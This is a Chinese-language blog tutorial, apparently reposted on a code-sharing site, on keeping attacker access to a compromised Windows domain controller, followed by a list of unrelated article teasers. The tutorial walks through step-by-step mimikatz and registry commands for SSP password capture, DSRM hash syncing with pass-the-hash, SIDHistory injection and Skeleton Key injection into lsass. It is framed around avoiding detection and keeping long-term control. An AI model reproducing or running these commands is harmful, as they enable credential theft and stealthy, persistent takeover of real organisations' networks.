windows权限维持—SSPHOOKDSRMSIDhistorySkeletonKey

news2024/10/5 8:21:49

windows权限维持—SSP&HOOK&DSRM&SIDhistory&SkeletonKey

  • 1. 权限维持介绍
    • 1.1. 其他
  • 2. 基于验证DLL加载—SPP
    • 2.1. 操作演示—临时生效
      • 2.1.1. 执行命令
      • 2.1.2. 切换用户
    • 2.2. 操作演示—永久生效
      • 2.2.1. 上传文件
      • 2.2.2. 执行命令
      • 2.2.3. 重启生效
    • 2.3. 总结
  • 3. 基于验证DLL加载—HOOK
  • 4. 基于机制账号启用—DSRM
    • 4.1. 适用版本
    • 4.2. 操作演示
      • 4.2.1. 获取dsrm及krbtgt的NTLM hash
      • 4.2.2. dsrm&krbtgt&NTLM hash同步
      • 4.2.3. 查看同步效果
      • 4.2.4. 修改dsrm登陆方式
      • 4.2.5. PTH传递攻击
      • 4.2.6. 查看效果
    • 4.3. 总结
  • 5. 基于用户属性修改—SID—history
    • 5.1. 操作演示
      • 5.1.1. 获取所有用户的SID值
      • 5.1.2. 获取某个用户SID值
      • 5.1.3. 赋予某用户administrator权限
      • 5.1.4. 查看dbadmin的SID值
      • 5.1.5. 测试
      • 5.1.6. 再次测试
    • 5.2. 总结
  • 6. 基于登陆进程劫持—skeleton-key
    • 6.1. 操作演示
      • 6.1.1. 测试域内用户与DC通行
      • 6.1.2. 连接DC
      • 6.1.3. 注入进程
      • 6.1.4. 测试通信
      • 6.1.5. 尝试重启
  • 7. 总结

1. 权限维持介绍

  在内网中权限维持是非常重要的一部分,很多的时候再拿下一台服务器的时候,如果没做权限维持,可能今天你还能登陆或者访问,明天你就无法访问了,当然也不排除存在那些服务器常年没人管的情况,像这类的服务器基本上都是存在一些小企业,只要服务器正常运行,那就不用管,而且一些大型的企业,都会有固定的管理人员,对相应的服务器进行定期的杀毒,检查,那么如果中木马了,快点的可能几个小时就会被发现,慢点的也就几天。

  如果是这样,那么我们前期的权限获取就白费了,那为了使得权限能够长期被维持,很多的大佬也都是使用了各种骚操作,上工具等等,同时由于很多情况下,获取到的权限都是利用一些WEB、系统、程序等上面出现的漏洞,而如果漏洞被修复意味着我们的权限也相当于失效,那么这时就需要对服务器做一定的权限维持,来确保达到长期的控制。

  当然,如果服务器重装,那权限维持必然会失败,这是避免不了的,这里的权限维持是指,服务器未重装只是对相关的漏洞进行了修复,而后续我们以实现不靠漏洞来进行权限的维持。

1.1. 其他

  这里首先让其域控上线,这里已经开始学习权限维持了,那么之前如何拿到域控权限的就不在赘述了。

2. 基于验证DLL加载—SPP

  SSP—Security Support Provider,直译为安全支持提供者,又名 Security Package。简单的理解为 SSP 就是一个 DLL,用来实现身份认证,并且维持系统权限。

2.1. 操作演示—临时生效

  这里上线我也不想操作了,直接看演示,由于我们进行权限维持不一定非要在域控上进行操作,但是,在域控上进行操作,能够获取到的权限更多,毕竟域控是这个域中的管理员。

2.1.1. 执行命令

  这里可以使用mimikatz进行命令执行,执行后就可以进行操作了,不过需要注意的是,该命令是一次性的,所谓的一次性就是当这台服务器重启后,那么这条命令就无法再次执行了,相当于重启即失效。

privilege::debug
misc::memssp

在这里插入图片描述

2.1.2. 切换用户

  当将上述命令执行结束后,就可以等着管理员切换用户了,其实也不用切换用户,一般情况下服务器长时间待机都会锁屏,只要等待管理员重新登陆即可,而这里我们直接可以使用切换用户来实现这一操作。

可以看到在下述的文件路径中获取到了登陆的账号密码。

C:\Windows\System32\mimilsa.log   ##文件位置。

在这里插入图片描述

2.2. 操作演示—永久生效

  这个操作需要修改注册表,是比较麻烦的,同时在cs中无法执行交互式命令,所以就需要远程登陆到对方的主机中来进行执行,如果在域中,并且域控不出网,那么会是很复杂的。

  好处也是永久失效,不过想要生效,前提条件就是需要对服务器进行一次重启。

  所以这里演示我也是直接在域控中操作吧,暂时没其他的好办法。

2.2.1. 上传文件

  这里需要将mimikatz中的mimilib.dll上传到域控的C:\windows\system32\目录下。

在这里插入图片描述

2.2.2. 执行命令

  这里为什么说无法在cs中执行,仔细看图片,由于在修改过程中,会存在一个交互式的命令,而CS中是无法执行交互式命令的,不过我记得MSF好像是可以直接进行交互式命令的。

  不过后来,有位兄弟帮我解决了,感谢。

#查看当前注册表中的设置值
reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
#修改注册表中的值
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ


#CS中修改注册表中的值
shell echo yes | reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ

在这里插入图片描述

  CS中操作的效果。

在这里插入图片描述

2.2.3. 重启生效

  上述命令执行完后会在注册表中添加一个mimilib也就是会调用mimilib.dll,要注意在mimilib.dll前面有一个\0是换行。并且在重启后会在C:\windows\system32\kiwissp.log记录账号密码。

在这里插入图片描述

2.3. 总结

  由于第二种办法需要重启生效,而在实际攻击中,作为攻击者去重启服务器,必然增加了被查的风险,所以最好是相互配合。

  这两种办法,各有各的好处,但同时也各有各的坏处,在最好能够将两个手段都利用上,确保成功获取到账号密码,不管是重启后,还是未重启动能够获取到。如果存在文件无法访问的情况,完全可以将文件进行共享,利用共享发送到其他的主机上。

3. 基于验证DLL加载—HOOK

  关于这个手法,目前是有本地监听与远程监听的,但可惜的是,工具长时间未更新,且本地监听的github项目也已被删除,所以这里感兴趣的去自行搜索吧,这里就不演示了,同时下载下来的程序还需要自动的去编译,并且参考了一些文章,这个工具在执行的时候,很容易出现各种报错。

4. 基于机制账号启用—DSRM

  DSRM(Diretcory Service Restore Mode,目录服务恢复模式)是windows域环境中域控制器的安全模式启动选项。域控制器的本地管理员账户也就是DSRM账户,DSRM密码是在DC创建时设置的,一般很少更改。DSRM的用途是:允许管理员在域环境出现故障时还原、修复、重建活动目录数据库。通过在DC上运行ntdsutil 工具可以修改DSRM密码。

4.1. 适用版本

  适用版本为windows server2008(需安装KB961320才可以使用指定域账号的密码对DSRM的密码进行同步)及以后的版本,windows server2003不能使用此方法。

4.2. 操作演示

  整个过程多数都是在主机上操作的,所以还是需要远程登陆到域控主机上,要注意隐蔽自己哦。

4.2.1. 获取dsrm及krbtgt的NTLM hash

  这里使用主机上操作的,不过也可以在CS中操作。

privilege::debug
lsadump::lsa /patch /name:webadmin  ##这个域用户可以随便是那个域用户。
token::elevate
lsadump::sam

在这里插入图片描述

4.2.2. dsrm&krbtgt&NTLM hash同步

  这里还是需要到主机上操作,由于需要shell交互的太多了,不过条件允许的可以,使用反弹shell进行交互。

#进入ntdsutil
ntdsutil
#修改DSRM的密码
set DSRM password
#使DSRM的密码和指定域用户的密码同步 eg:sync from domain account [域用户名]
sync from domain account webadmin
#退出
按两次q即可退出(第1次:退出DSRM密码设置模式;第2次退出ntdsutil)

在这里插入图片描述

4.2.3. 查看同步效果

  这里我们查一下,是否已经将dsrm的hash值同步为webadmin用户的hash了。

在这里插入图片描述

4.2.4. 修改dsrm登陆方式

  dsrmadminlogonbehavior代表的是DSRM有三种登录方式

  • 0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号
  • 1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器
  • 2:在任何情况下,都可以使用DSRM管理员账号登录域控制器
powershell New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD

在这里插入图片描述

4.2.5. PTH传递攻击

  使用mimikatz进行哈希传递,在域成员机器的管理员模式下打开mimikatz,这里可以直接使用CS运行也可以。

privilege::debug
sekurlsa::pth /domain:DC /user:administrator /ntlm:518b98ad4178a53695dc997aa02d455c

在这里插入图片描述

4.2.6. 查看效果

  这里其实就是在域内主机上弹出一个弹窗,借用这个弹窗来执行命令,来访问域控,而当窗口被关闭后,可以下次借用pth攻击,再次调用起来,确保权限的维持。但是缺点也很明显,我需要远程登陆到域控服务器上,否则弹出的弹窗我并不能利用。

在这里插入图片描述

4.3. 总结

  利用系统自带机制模式DSRM,修改DSRM默认登录方式和属性,通过其同步webadmin进行PTH攻击,实现持续化控制,但适用于系统>=windows server2008。每个域控制器都有本地管理员账号和密码(与域管理员账号和密码不同)。DSRM账号可以作为一个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。

5. 基于用户属性修改—SID—history

  SID即安全标识符(Security Identifiers),是标识用户、组和计算机帐户的唯一的号码。在第一次创建该帐户时,将给网络上的每一个帐户发布一个唯一的 SID。

  SIDHistory属性的存在是为了解决用户在迁移到另一个域中的时候权限会改变的问题。例如用户zhangsan在A域中本来是管理员,迁移到B域的时候因为sid的改变有可能会变成普通用户权限,这时候如果给zhangsan用户添加一个值为zhangsan在A域中的SID的SIDHistory值就可以解决这个问题,只有域管有更改SIDHistory的权利。

5.1. 操作演示

  这里的操作也是相对来说比较简单的,同时操作都是可以再CS中完成的。

5.1.1. 获取所有用户的SID值

  通过获取SID可以看到只有最后的四位值不同,其实这里也就是代表不同的权限。

shell wmic useraccount get name,sid

在这里插入图片描述

5.1.2. 获取某个用户SID值

  这里使用CS输入命令后,会出现乱码的情况,不过还是能够使用的。

powershell Import-Module ActiveDirectory
powershell Get-ADUser webadmin -Properties sidhistory

在这里插入图片描述

5.1.3. 赋予某用户administrator权限

  由于这里我登陆的是dbadmin,所以就修改dbadmin,可以看到下面提示成功了。

privilege::debug
sid::patch
sid::add /sam:dbadmin /new:administrator

在这里插入图片描述

5.1.4. 查看dbadmin的SID值

  可以看到SID history是具备administrator权限了。

Import-Module ActiveDirectory
Get-ADUser dbadmin -Properties sidhistory

在这里插入图片描述

5.1.5. 测试

  可以看到这里能够正常访问了。

dir \\192.168.3.33\c$

在这里插入图片描述

5.1.6. 再次测试

  这里再次测试是由于再使用dbadmin的时候,未提前将访问的效果展示出来,后续我又补了一张webadmin的权限前后的效果。

在这里插入图片描述

5.2. 总结

  这个手法就是将域控管理员的SID加入到域内一些恶意用户或者权限低的用户的SID history中,这样域内账户就可以用户域管权限去访问域控了,只要不修改域账号则可以一直访问。

  在用户中心的无法查询到变化的,也就是说只要账户不删除就可以一直访问。

在这里插入图片描述

6. 基于登陆进程劫持—skeleton-key

  Skeleton Key(万能密码)方法可以对域内管理员权限进行持久化操作,使用mimikatz完成注入Skeleon Key的操作,将 Skeleton Key注入域控制器的lsass.exe进程。

6.1. 操作演示

  这里这个操作差不多我研究了一个多小时,当初我是用域内主机配置向DC的访问,理论上都应该是这样的,但是出现一个最大的问题就是,mimikatz一直报错,后来修改了一下,从DC访问内部主机,这样的思路,但是我发现成功成功执行,这我就不得所解了,查了很多的资料均没有这样的,你们可以测试一下,是不是我环境有问题。

  下面的均是从DC向域内主机的通行。

6.1.1. 测试域内用户与DC通行

  这里由于权限问题,我又切换到sqladmin了,可以看到这里是无法访问的。

dir \\DC\c$

在这里插入图片描述

6.1.2. 连接DC

  这里有一个需要了解的,权限维持是再获取权限后进行的维持,那么此刻你是知道DC的密码的,只是后续的一切权限维持的操作,都是防止DC密码被修改,而导致你无法访问。

  由于这里我域内主机出现问题了,所以这里是从DC向域内主机访问,正常情况下DC是都能够访问域内主机的,所以这里建立连接也是演示一下流程。

net use \\windows2008\ipc$ "admin@123" /user:0DAY\administrator

在这里插入图片描述

6.1.3. 注入进程

  起初我觉得可能是需要高权限,但是换了很多的虚拟机依旧还是不行,有知道的可以告知一下,后来替换为DC向域内主机测试就成功了,难搞!

privilege::debug
misc::skeleton

在这里插入图片描述

6.1.4. 测试通信

  这里可以看到,使用密码是不对的,但是命令依旧能够成功,那么证明这个操作是可行的,可能真的是我的环境有问题。

net use \\windows2008\ipc$ "mimikatz" /user:0DAY\administrator
dir \\windows2008\c$

在这里插入图片描述

6.1.5. 尝试重启

  由于Skeleton Key技术是被注入到lsass.exe进程的,所以它只存在内存中,如域控重启,万能密码将失效,这里可以看到我重启后,命令就无法执行了。

在这里插入图片描述

7. 总结

  总体来说这些案例中有很多都是需要上传mimikatz对主机上的,同时很多操作都是需要交互的,那么想要做好权限维持,那么只能再一些必要的情况下去远程连接对方的主机来进行操作,不过这样也增加了被发现的风险,所以有些就尽量不要去操作了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/883132.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Linux】【驱动】杂项设备驱动

【Linux】【驱动】杂项设备驱动 Linux三大设备驱动1. 我们这节课要讲的杂项设备驱动是属于我们这三大设备驱动里面的哪个呢?2.杂项设备除了比字符设备代码简单,还有别的区别吗?3.主设备号和次设备号是什么? 挂载驱动 杂项设备驱动是字符设备驱动的一种&#xff0…

JavaWeb学习-Day03

Ajax 同步与异步 Acios: 前后端分离开发 yapi:(YApi Pro-高效、易用、功能强大的可视化接口管理平台) 前端开发的工程化 Vue项目 template:定义HTML代码,相当于Vue当中的视图部分 script:定义JS代码,Vue当中的数据模型以及当中的…

AutoHotKey+VSCode开发扩展推荐

原来一直用的大众推荐的SciTeAHK版,最近发现VSCode更舒服一些,有几个必装的扩展推荐一下: AutoHotkey Plus 请注意不是AutoHotkey Plus Plus。如果在扩展商店里搜索会有两个,一个是Plus,一个是Plus Plus。我选择Pllus&…

logstash 原理(含部署)

1、ES原理 原理 使⽤filebeat来上传⽇志数据,logstash进⾏⽇志收集与处理,elasticsearch作为⽇志存储与搜索引擎,最后使⽤kibana展现⽇志的可视化输出。所以不难发现,⽇志解析主要还 是logstash做的事情 从上图中可以看到&#x…

音视频技术开发周刊 | 306

每周一期,纵览音视频技术领域的干货。 新闻投稿:contributelivevideostack.com。 人工智能研究人员声称,通过Zoom音频检测击键的准确率为93% 通过记录按键并训练深度学习模型,三位研究人员声称,基于单个按键的声音特征…

前后端分离------后端创建笔记(11)用户删除

B站视频:30-用户删除&结束语_哔哩哔哩_bilibili 1、现在我们要做一个删除的功能 1.1 首先做一个删除的功能接口,第一步先来到后端,做一个删除的接口 2、删除我们用Delete请求 3、方法名我给他改一下 3.1这里给他调一下删除方法&#xf…

【Vue-Router】导航守卫

前置守卫 main.ts import { createApp } from vue import App from ./App.vue import {router} from ./router // import 引入 import ElementPlus from element-plus import element-plus/dist/index.css const app createApp(App) app.use(router) // use 注入 ElementPlu…

《算法竞赛·快冲300题》每日一题:“圆内的最短距离”

《算法竞赛快冲300题》将于2024年出版,是《算法竞赛》的辅助练习册。 所有题目放在自建的OJ New Online Judge。 用C/C、Java、Python三种语言给出代码,以中低档题为主,适合入门、进阶。 文章目录 题目描述题解C代码Java代码Python代码 “ 圆…

第五章 Opencv图像处理框架实战 5-10 文档扫描OCR识别

一、整体流程演示 上一篇我们进行了银行卡数字识别,这次我们利用opnecv等基础图像处理方法实现文档扫描OCR识别,该项目可以对任何一个文档,识别扫描出该文档上所有的文字信息。 为了方便后续程序运行,大家可以在Run->Edit Configuration中配置相关参数,选择相应编译器…

使用PostgreSQL构建强大的Web应用程序:最佳实践和建议

PostgreSQL是一个功能强大的开源关系型数据库,它拥有广泛的用户群和活跃的开发社区。越来越多的Web应用选择PostgreSQL作为数据库 backend。如何充分利用PostgreSQL的特性来构建健壮、高性能的Web应用?本文将给出一些最佳实践和建议。 一、选择合适的PostgreSQL数据类型 Pos…

CentOS系统环境搭建(三)——Centos7安装DockerDocker Compose

centos系统环境搭建专栏🔗点击跳转 Centos7安装Docker&Docker Compose 使用 yum 安装Docker 内核 [rootVM-4-17-centos ~]# uname -r 3.10.0-1160.88.1.el7.x86_64Docker 要求 CentOS 系统的内核版本高于 3.10 更新 yum yum update安装需要的软件包&#x…

Kubernetes Pod控制器

Pod控制器及其功用 Pod控制器,又称之为工作负载(workload),是用于实现管理pod的中间层,确保pod资源符合预期的状态,pod的资源出现故障时,会尝试进行重启,当根据重启策略无效&#xf…

Field injection is not recommended

文章目录 1. 引言2. 不推荐使用Autowired的原因3. Spring提供了三种主要的依赖注入方式3.1. 构造函数注入(Constructor Injection)3.2. Setter方法注入(Setter Injection)3.3. 字段注入(Field Injection) 4…

并发编程系列-CompletableFuture

利用多线程来提升性能,实质上是将顺序执行的操作转化为并行执行。仔细观察后,你还会发现在顺序转并行的过程中,一定会牵扯到异步化。举个例子,现在下面这段示例代码是按顺序执行的,为了优化性能,我们需要将…

管家婆软件被删除了怎样恢复?

一、使用了云服务器 使用了云服务器,数据不会丢失,只需要重新安装就好了。 1、如果使用的是B/S架构的,比如ERP等,我们可以直接把网址复制到浏览器,访问即可。 2、如果使用的是C/S架构的,比如辉煌2&#x…

每天一道leetcode:剑指 Offer 34. 二叉树中和为某一值的路径(中等图论深度优先遍历递归)

今日份题目: 给你二叉树的根节点 root 和一个整数目标和 targetSum ,找出所有 从根节点到叶子节点 路径总和等于给定目标和的路径。 叶子节点 是指没有子节点的节点。 示例1 输入:root [5,4,8,11,null,13,4,7,2,null,null,5,1], targetSu…

三维直方图

三维直方图更直观,借助matlab的bar3,可以绘制三维直方图。 clc; clearvars; cimread(lena.jpg); width 0.8; %默认值是0.8,根据需要修改。 % hbar3(c,width,r); hbar3(c); set(h,EdgeColor,r) % set(h,facecolor,b) % set(h(1),facecolor…

提速 40%,融云基于 QUIC 深度优化通信协议

8 月 17 日(本周四),融云直播课从排查问题到预警风险,社交产品如何更好保障体验、留住用户?欢迎点击报名~ 各分位(P99、P95、P50)连接速度提升 30%~50%;关注【融云全球互联网通信云】…

macOS CLion 使用 bits/stdc++.h

macOS 下 CLion 使用 bits/stdc.h 头文件 terminal运行 brew install gccCLion里配置 -D CMAKE_CXX_COMPILER/usr/local/bin/g-11

Microsoft ISA服务器配置及日志分析

Microsoft ISA 分析器工具,可分析 Microsoft ISA 服务器(或 Forefront 威胁管理网关服务器)的日志并生成安全和流量报告。支持来自 Microsoft ISA 服务器组件的以下日志: 数据包过滤器ISA 服务器防火墙服务ISA 服务器网络代理服务…